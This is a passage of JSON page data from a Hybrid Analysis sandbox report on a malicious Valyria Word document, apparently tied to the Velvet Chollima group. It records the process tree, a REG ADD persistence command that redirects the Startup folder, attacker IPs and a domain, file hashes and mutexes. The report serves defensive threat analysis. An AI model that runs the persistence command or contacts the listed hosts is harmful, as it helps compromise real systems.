00000000-00003576)\n Spawned process \"cmd.exe\" with commandline \"/c REG ADD \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\\\\a7963\" (UID: 00000000-00003424)\n Spawned process \"reg.exe\" with commandline \"REG ADD \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\\\\a7963\" (UID: 00000000-00003944)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Contains ability to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Contains ability to check if a debugger is running"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":14,"imported_dlls_count":144,"dropped_files_count":0,"extracted_files_count":18,"files_written_count":25,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["targeted","velvetchollima","macros-on-open"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"64abc143d0bc8c237e05d56d","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"VB:Trojan.Valyria","contacted_countries":["ARG","ESP"],"submit_name":"file","analysis_start_time":"2023-07-10T08:28:51+00:00","indicators_count":{"informative":138,"suspicious":39,"malicious":13},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"134.0.11.201","port":443,"protocol":"TCP","country":"Spain","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"address":"186.122.150.107","port":80,"protocol":"TCP","country":"Argentina","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}],"dns_resolutions":[{"domain":"www.rabadaun.com","address":"134.0.11.201","ttl":900,"country":"Spain","registrar_name":"10DENCEHISPAHARD, S.L","registrar_name_servers":"NS1.CDMON.NET","registrar_creation_date":"2010-02-16T16:54:45+00:00","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}],"processes":[{"pid":2692,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\file.doc\"","sha256":"ee944590b3c253325688f3c1cddc9a439b5a80a3a36443b4b5de788db19d2973","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00000000-00002692","icon":"$4e"},{"pid":2996,"ppid":2692,"name":"spolsve.exe","command_line":"","sha256":"efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060","normalized_path":"%APPDATA%\\Microsoft\\Windows\\Templates\\spolsve.exe","parent_uid":"00000000-00002692","uid":"00000000-00002996"},{"pid":3576,"ppid":2996,"name":"spolsve.exe","command_line":"","sha256":"efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060","normalized_path":"%APPDATA%\\Microsoft\\Windows\\Templates\\spolsve.exe","parent_uid":"00000000-00002996","uid":"00000000-00003576"},{"pid":3424,"ppid":3576,"name":"cmd.exe","command_line":"/c REG ADD \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\\a7963","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003576","uid":"00000000-00003424"},{"pid":3944,"ppid":3424,"name":"reg.exe","command_line":"REG ADD \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\\a7963","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00003424","uid":"00000000-00003944"}],"all_imported_dlls":["winrnr.dll","OSPPC.DLL","MSSP7EN.DLL","winhttp.dll","mscoree.dll","MSO.DLL","shell32.dll","Wldap32.dll","msproof7.dll","dhcpcsvc6.dll","netprofm.dll","pnrpnsp.dll","MSPTLS.DLL","cfgmgr32.dll","dwmapi.dll","winbrand.dll","cryptsp.dll","msxml6r.dll","gpapi.dll","msxml6.dll","sspicli.dll","ntshrui.dll","fontsub.dll","cscapi.dll","version.dll","msdart.dll","sxs.dll","nsi.dll","schannel.dll","mxdwdrv.dll","imm32.dll","RICHED20.DLL","ntmarta.dll","WinSCard.dll","msvcrt.dll","lpk.dll","bcryptprimitives.dll","cabinet.dll","GROOVEEX.DLL","linkinfo.dll","mscoreei.dll","sfc_os.dll","CSS7DATA0009.DLL","dnsapi.dll","comdlg32.dll","normaliz.dll","cryptnet.dll","NL7MODELS0009.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","wship6.dll","NapiNSP.dll","wtsapi32.dll","apphelp.dll","rsaenh.dll","ntdll.dll","user32.dll","propsys.dll","GKWord.dll","wintrust.dll","ole32.dll","bcrypt.dll","FWPUCLNT.DLL","SensApi.dll","kernel32.dll","advapi32.dll","msimg32.dll","winnsi.dll","wininet.dll","npmproxy.dll","sfc.dll","uxtheme.dll","setupapi.dll","ws2_32.dll","rpcss.dll","profapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","USP10.DLL","GdiPlus.dll","MSORES.DLL","cryptbase.dll","api-ms-win-downlevel-user32-l1-1-0.dll","WWINTL.DLL","slc.dll","mpr.dll","oleaut32.dll","urlmon.dll","mscss7en.dll","fltLib.dll","clbcatq.dll","secur32.dll","msado15.dll","msasn1.dll","api-ms-win-core-synch-l1-2-0.dll","comctl32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","wshqos.dll","ATL90.dll","KernelBase.dll","GFX.DLL","msctf.dll","WWLIB.DLL","MSOINTL.DLL","mscorwks.dll","iertutil.dll","dhcpcsvc.dll","credssp.dll","gdi32.dll","api-ms-win-downlevel-version-l1-1-0.dll","unidrvui.dll","msi.dll","srvcli.dll","webio.dll","oledlg.dll","OART.DLL","api-ms-win-downlevel-shlwapi-l1-1-0.dll","nlaapi.dll","OSPPCEXT.DLL","scrrun.dll","mswsock.dll","IPHLPAPI.DLL","WSHTCPIP.DLL","SendToOneNoteUI.dll","sechost.dll","rpcrt4.dll","VxSSL32.dll","VBE7.DLL","MSGR3EN.DLL","msxml3.dll","powrprof.dll","RpcRtRemote.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","ncrypt.dll","msvcp90.dll","olepro32.dll","devobj.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","msxml3r.dll","crypt32.dll","rasadhlp.dll","usp10.dll","shlwapi.dll","userenv.dll","devrtl.dll","msvcr90.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"tlworker.exe","sha256":"efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"spolsve.exe","sha256":"efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"TEMP_1_.so","sha256":"efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Tar24D2.tmp","sha256":"c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"~_file.doc","sha256":"a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"file.LNK","sha256":"ba4e636e81836d729436c02f8f0d94ac614ff5c33b9af609fee14c136f3b215a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"index.dat","sha256":"72dbc5f49cb31207a11cca5872ad5b38b4f8d25bc8808ddcd0cc61c7aa305c4b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"ExcludeDictionaryEN0409.lex","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Cab24D1.tmp","sha256":"d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Liebert.bmp","sha256":"759ab260dd9d3823df29029790bd51a2dccdf086162cdf3eb59654ea21cec0c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"urlref_httpswww.un.orgencoronaviruscovid-19-faqs","sha256":"27cc7f7cf31493d3a5cc0633cf04613587df506ac3a046881f902857d1dcdbb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"urlref_httpswww.nknews.org202008unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-julyt_1604306607548","sha256":"1e677927b1e67e7babde3c478177181f4adcbe5215372fdc95ae91ccfd05edfe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548","sha256":"b82f92cbf6ceb3f2970b36bf82010cfb714fe3a1efd08ee15c471b588862616d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434","sha256":"251c82f456276c2ada219ae86bcd367fbb748d1402862d0ca551b75d47ca85b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483","sha256":"972d7bdcf68e515d0edd3534dd0cf36845f116af88fcd2582fb8e9e4dfab31c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"~WRS_03ED77F5-2D36-4557-BA62-A3A284FB6B17_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"~_Normal.dotm","sha256":"a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}],"files_written":[{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\file.LNK","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\TEMP[1].so","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%TEMP%\\~DF42614536AF17F1FB.TMP","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{B94D309D-0782-4741-8010-DFE9FE6D55F4}.tmp","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{4B68284B-7512-4C8D-9E05-72F3FB1E3DBE}.tmp","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%TEMP%\\Liebert.bmp","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%ALLUSERSPROFILE%\\a7963\\tlworker.exe","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%APPDATA%\\Microsoft\\UProof","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%ALLUSERSPROFILE%\\a7963\\TLWORKER.EXE‡KK”V–P¤J0“8Q","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{03ED77F5-2D36-4557-BA62-A3A284FB6B17}.tmp","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"path":"C:\\~$file.doc","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USER SHELL FOLDERS\\","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-69416","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-69416","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-69416","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-69416","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}]}},"report_ids":{"sandbox_job_ids":["64abc143d0bc8c237e05d56d"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Valyria Sample 70fa2300d793… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 70fa2300d793…. Malware family: Valyria. Threat score 100/100. 13/28 AV engines flagged this file. 11 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665"}],["$","meta","4",{"property":"og:title","content":"Malicious Valyria Sample 70fa2300d793… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 70fa2300d793…. Malware family: Valyria. Threat score 100/100. 13/28 AV engines flagged this file. 11 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Valyria Sample 70fa2300d793… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 70fa2300d793…. Malware family: Valyria. Threat score 100/100. 13/28 AV engines flagged this file. 11 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4f","11",{}]]